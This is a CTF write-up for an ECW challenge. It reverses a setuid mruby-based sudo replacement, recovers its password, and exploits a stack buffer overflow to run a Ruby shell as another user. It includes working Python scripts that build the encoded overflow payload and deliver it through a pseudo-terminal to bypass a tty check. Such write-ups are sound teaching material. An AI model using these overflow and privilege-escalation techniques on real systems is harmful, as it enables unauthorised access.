This post spoils a CTF challenge … Don’t read if you want to try it !

ECW (European Cyber Week) is a Jeopardy student CTF challenge. It is organized by Thales, Airbus and the Bretagne region. I had a great time solving these challenges, especially reverse and pwn ones. Hurry to hand over this !

[+] Presentation

Sudo not being very secure, as the leader of the cyber-digital world, we created a replacement

Admire the result: ssh -p 10022 <username>@challenge-ecw.fr

[+] Recon

We have a simple CTF setup :
- 3 users : ecw (us), adm and root
- 2 binaries : ~/mysudo (owned by adm, can be executed by ecw, suid) and /tmp/getflag (owned by root, can be executed by adm, suid)
- 4 files owned by adm in our home directory : ~/main.mrb, ~/cat.mrb, ~/ls.mrb, ~/id.mrb.

Basically, /tmp/getflag read the flag from /proc/1/environ, so we need to get a shell as adm, and then execute /tmp/getflag.

[+] Reversing

File output :

file

I played a bit with the binary to understand how it works, here are examples of output we can get :

example

Let’s reverse it to have a better understanding of it !

We can notice is that the binary uses the mruby lib, which is an embedded Ruby bytecode interpreter in C. The 4 .mrb files are compiled Ruby scripts.

There are several interestings parts in the binary. The first one is about retrieving the user password and loading main.mrb bytecode.

part1

The second one is about checking the password.

part2

The last one is about loading the requested mrb script and executing it with the same privileges as it’s owner.

part3

Let’s first find the password : the program takes our input with the get_password function, passes it to main.mrb's encode then xors the output with 0xfe and finally compare it with the check_password function.

I didn’t reverse the main.mrb's encode function (because it was really linear : for a given byte you only had one possible output), I just sent to it all possible bytes from 0x00 to 0xff, in order to create a mapping with the inputs and the associated outputs of the function.

After applying the xor to the map I made, I just had to read the conditions to finally extract the password : ADMsystem42$$$$.

vuln

With the great password, we can now execute the mrb scripts :

vuln

To get the flag, we can’t simply create an mrb script which calls /bin/sh because we will have a shell with our own user since we are the owner of our custom script.

But, there is a buffer overflow vulnerability in the get_password function : the user input can have an arbitrary size so we can overflow the stack and overwrite other variables. The most interesting variable we can overwrite is mrb_payload, which is the content of the mrb script passed as an argument.

vuln


So, the idea is to use an adm owned mrb script as an argument and input a very long password to overwrite this script data with our custom mrb payload.
Our mrb payload will then be executed as the adm user, since the script used as argument is owned by the adm user.

The only problem is that our mrb payload is mixed with our password so it will be encrypted as the rest of the password.
We need to decrypt our payload like if it was an encrypted data, and send the result to avoid this side effect :
encrypt(payload) => garbage
encrypt(decrypt(payload)) => payload

The final problem (an easier one) was that the get_password function checks that it is executed in a real tty, to avoid piping stdin and stdout … Python comes with a handy pty module, which allow us to bypass the isatty function.

I finally made two scripts : one which generates the payload and one which send the payload to the data through a tty.
Here is generate.py, which generates a payload with the extracted mapping, based on shell.mrb, which is a simple ruby shell compiled with the mrb compiler mrbc.

#!/usr/bin/python3

b = [0x6d,0x10,0xb4,0xeb,0x7f,0xcd,0x21,0x7b,0x49,0xc4,0x3d,0x97,0x14,0xab,0x5d,0x0e,0x1f,0x4e,0xb5,0xf9,0x4c,0x92,0xd6,0xc7,0x95,0xa3,0xa6,0xf5,0xb2,0xe4,0xac,0xaa,0xce,0x9c,0xa5,0xbf,0xae,0xcc,0xff,0xf2,0xb1,0xd0,0x99,0x8d,0xde,0x87,0x9b,0xb0,0xf6,0x5e,0xda,0x30,0xd5,0x45,0x89,0x42,0x78,0x12,0xc1,0xf4,0xca,0x0d,0x5f,0x84,0x41,0x71,0x6f,0x28,0x8e,0x33,0xc5,0x77,0xf7,0xe5,0xaf,0x24,0x26,0x03,0xdd,0x39,0x31,0x81,0x8f,0x44,0xf1,0x6b,0x36,0xc2,0x8c,0xbd,0x11,0x40,0x23,0x22,0xb7,0xbb,0xc8,0xfe,0xb3,0xa4,0xc3,0xa7,0xfa,0xee,0xfc,0xc9,0xfd,0x96,0xf8,0x8a,0x93,0xba,0x0c,0x0b,0x2b,0x16,0x0a,0x01,0x4a,0x2d,0xe7,0x3e,0x73,0x9a,0xe3,0xa2,0x9e,0xa8,0xea,0x20,0x46,0xd2,0x3a,0x1e,0x02,0x58,0xec,0x80,0x68,0x47,0x4f,0x86,0x51,0x15,0xe9,0x9d,0x65,0x6a,0x54,0x38,0x7e,0xf0,0x52,0xe2,0x2e,0x88,0xe0,0xdb,0x29,0x64,0x5b,0x05,0x9f,0x69,0x2a,0x35,0x2f,0xb6,0xb8,0xf3,0x3b,0xa0,0x66,0xcf,0x72,0xcb,0xb9,0x25,0x7d,0xa9,0x94,0xe8,0xed,0x8b,0xc6,0x76,0x75,0x50,0x19,0xe6,0x57,0xdf,0x1b,0x79,0x85,0xdc,0x1d,0x70,0x82,0x0f,0x74,0x34,0x13,0xd3,0x09,0x67,0x4d,0x83,0xd1,0x6e,0x3f,0xd8,0x3c,0xe1,0x98,0x62,0x6c,0x43,0xd4,0x7a,0x53,0x17,0x48,0x2c,0xd7,0x32,0xbc,0x55,0x5c,0x08,0xfb,0x07,0x90,0xc0,0x06,0x1c,0xef,0xad,0x04,0x56,0x60,0x63,0xd9,0x61,0x7c,0x37,0x18,0xa1,0x91,0x4b,0x27,0x1a,0xbe]
a = [chr(i) for i in range(1,204)]+[chr(i) for i in range(205,256)]
a.remove("\x0a") #0x00 and 0x0a are invalid chars

with open("shell.mrb","rb") as f:
  data = bytearray(f.read())

out = ""
temp = ""
i = 0
for char in data:
  if char ^ 0xfe in b:
    out += a[b.index(char ^ 0xfe)]
    if a[b.index(char ^ 0xfe)] == "\x0d": #0x0d is invalid in a fake tty ... dunno why
       input((char,i))
    if a[b.index(char ^ 0xfe)] == "\x1c": #0x1c is invalid in a fake tty ... dunno why
       input((char,i))
    temp += chr(char)
    print((i, char, hex(char), "WIN"))
  else:
    out += "*"
    temp += "\x00"
    print((i, char, hex(char), "FAILED"))
  i += 1

with open("payload.bin","wb") as f:
  payload = "ADMsystem42$$$$" + "a"*1 + out
  payload += a[b.index(0x00 ^ 0xfe)] * (256 - len(payload))
  f.write(payload.encode("latin1"))

And here is the final flag.py:

#!/usr/bin/python3
import pty, os

i = 0
with open("payload.bin", "rb") as f:
  payload = f.read()
  
def read(fd):
  global i, payload
  data = os.read(fd, 10)
  if i == 0:
    os.write(fd, payload)
    i += 1
  return data

pty.spawn(["/app/mysudo","/app/id"], read)

We now have an adm shell, just run /tmp/getflag and get this damn flag !

[+] Bye

Feel free to tell me what you think about this post :)